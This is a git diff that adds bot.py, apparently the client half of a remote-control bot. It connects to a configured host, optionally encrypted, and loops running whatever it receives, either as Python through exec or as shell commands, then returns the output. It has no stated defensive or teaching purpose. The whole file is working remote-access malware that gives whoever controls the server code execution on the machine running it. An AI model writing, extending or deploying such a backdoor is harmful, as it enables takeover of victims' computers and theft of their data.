1 files changed, 119 insertions, 0 deletions
diff --git a/bot.py b/bot.py
new file mode 100644
index 0000000..5dc4eea
--- /dev/null
+++ b/bot.py
@@ -0,0 +1,119 @@
+import contextlib
+import subprocess
+import argparse
+import os
+import io
+
+from typing import Optional
+from typing import Tuple
+
+from shared import DEFAULT_HOSTNAME
+from shared import DEFAULT_PORT
+from shared import DEFAULT_ENCODING
+from shared import DEFAULT_LANGUAGE_CODE
+from shared import LIBERAL_ENCODING_ERRORS
+from shared import Platform
+from shared import AsymmetricSocket
+from shared import SymmetricSocket
+from shared import Socket
+
+class Execute:
+
+    ENCODING      = DEFAULT_ENCODING
+    LANGUAGE_CODE = DEFAULT_LANGUAGE_CODE
+    TIMEOUT       = 60
+
+    @staticmethod
+    def code(code: str) -> str:
+        assert isinstance(code, str), f'Wrong type: {code=}'
+
+        buffer = io.StringIO()
+
+        with contextlib.redirect_stdout(buffer):
+            exec(code)
+
+        return buffer.getvalue()
+
+    @staticmethod
+    def shell(command: str) -> Tuple[Optional[str], Optional[str]]:
+        command = command.strip().replace('\n', ' && ')
+
+        if Platform.WINDOWS and Execute.LANGUAGE_CODE:
+            command = f'chcp {Execute.LANGUAGE_CODE} > nul && {command}'
+
+        proc = subprocess.Popen(command,
+                                shell=True,
+                                stdin=subprocess.DEVNULL,
+                                stdout=subprocess.PIPE,
+                                stderr=subprocess.PIPE,
+                                encoding=Execute.ENCODING,
+                                errors=LIBERAL_ENCODING_ERRORS)
+
+        try:
+            return ''.join(proc.communicate(timeout=Execute.TIMEOUT)).rstrip()
+        except subprocess.TimeoutExpired as err:
+            proc.kill(); return f'[BOT] ERROR :: {err}'
+
+class Bot:
+
+    def __init__(
+        self,
+        *args,
+        symmetric: Optional[bool]=None,
+        **kwargs
+    ) -> None:
+        assert isinstance(symmetric, bool) or symmetric is None, f'Wrong type: {symmetric=}'
+
+        if symmetric is None:
+            self.bot = Socket(*args)
+            self.bot.set_conn()
+            self.bot.set_middleware()
+        elif symmetric:
+            self.bot = SymmetricSocket(*args, **kwargs)
+            self.bot.set_conn()
+            self.bot.set_middleware()
+        else:
+            self.bot = AsymmetricSocket(*args, **kwargs)
+            self.bot.set_conn()
+            self.bot.set_middleware()
+
+    def connect(self) -> None:
+        while True:
+            request = self.bot.recv()
+
+            try:
+                command, run = (request.get('request'), request.get('run'))
+
+                assert command is not None, f'Missing attribute: {command=}'
+                assert isinstance(run, bool), f'Wrong type: {run=}'
+
+                if run:
+                    response = Execute.code(command)
+                elif command[:2] == 'cd':
+                    os.chdir(command[2:].lstrip())
+                    response = os.getcwd()
+                else:
+                    response = Execute.shell(command)
+
+                self.bot.send({'response': response})
+            except Exception as err:
+                self.bot.send({'response': f'[BOT] ERROR :: {err}'})
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--hostname', default=DEFAULT_HOSTNAME)
+    parser.add_argument('--port', type=int, default=DEFAULT_PORT)
+    parser.add_argument('--password')
+    parser.add_argument('--salt')
+    parser.add_argument('--pubk_data')
+    args = parser.parse_args()
+
+    if args.password and args.salt:
+        options = {'symmetric': True, 'password': args.password, 'salt': args.salt}
+    elif args.pubk_data:
+        options = {'symmetric': False, 'public_key_data': args.pubk_data}
+    else:
+        options = {}
+
+    bot = Bot(args.hostname, args.port, **options)
+    bot.connect()